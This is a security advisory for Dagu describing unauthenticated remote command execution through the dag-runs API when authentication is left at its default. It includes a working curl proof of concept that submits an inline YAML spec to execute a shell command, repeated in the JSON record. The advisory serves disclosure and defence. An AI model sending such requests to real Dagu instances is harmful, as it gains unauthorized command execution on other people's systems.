GHSA-6QR9-G2XW-CW92
Vulnerability from github – Published: 2026-02-19 22:04 – Updated: 2026-02-20 21:44Summary
Dagu's default configuration ships with authentication disabled. The POST /api/v2/dag-runs endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.
Details
internal/service/app/config/loader.go:226 sets AuthModeNone as the default. With no auth mode configured, internal/frontend/api/v2/handlers/api.go:520 returns nil from requireExecute() — all permission checks pass without a valid session.
The POST /api/v2/dag-runs endpoint accepts a spec field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.
PoC
curl -s -X POST http://TARGET:8080/api/v2/dag-runs \
-H "Content-Type: application/json" \
-d '{"name":"poc","spec":"steps:\n - name: rce\n command: id > /tmp/pwned\n"}'
# Response: {"dagRunId":"<uuid>"}
# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)
Confirmed on ghcr.io/dagu-org/dagu:latest with no configuration changes.
Impact
Every dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit DAGU_AUTH_MODE configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/dagu-org/dagu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.30.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-19T22:04:39Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nDagu\u0027s default configuration ships with authentication disabled. The `POST /api/v2/dag-runs` endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required \u2014 any dagu instance reachable over the network is fully compromised by default.\n\n### Details\n`internal/service/app/config/loader.go:226` sets `AuthModeNone` as the default. With no auth mode configured, `internal/frontend/api/v2/handlers/api.go:520` returns `nil` from `requireExecute()` \u2014 all permission checks pass without a valid session.\n\nThe `POST /api/v2/dag-runs` endpoint accepts a `spec` field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.\n\n### PoC\n```bash\ncurl -s -X POST http://TARGET:8080/api/v2/dag-runs \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"poc\",\"spec\":\"steps:\\n - name: rce\\n command: id \u003e /tmp/pwned\\n\"}\u0027\n# Response: {\"dagRunId\":\"\u003cuuid\u003e\"}\n# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)\n```\nConfirmed on `ghcr.io/dagu-org/dagu:latest` with no configuration changes.\n\n### Impact\nEvery dagu deployment using default settings \u2014 every Docker deployment, every install following the documentation, every instance without explicit `DAGU_AUTH_MODE` configuration \u2014 is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.",
"id": "GHSA-6qr9-g2xw-cw92",
"modified": "2026-02-20T21:44:24Z",
"published": "2026-02-19T22:04:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-6qr9-g2xw-cw92"
},
{
"type": "PACKAGE",
"url": "https://github.com/dagu-org/dagu"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dagu affected by unauthenticated RCE via inline DAG spec in default configuration"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.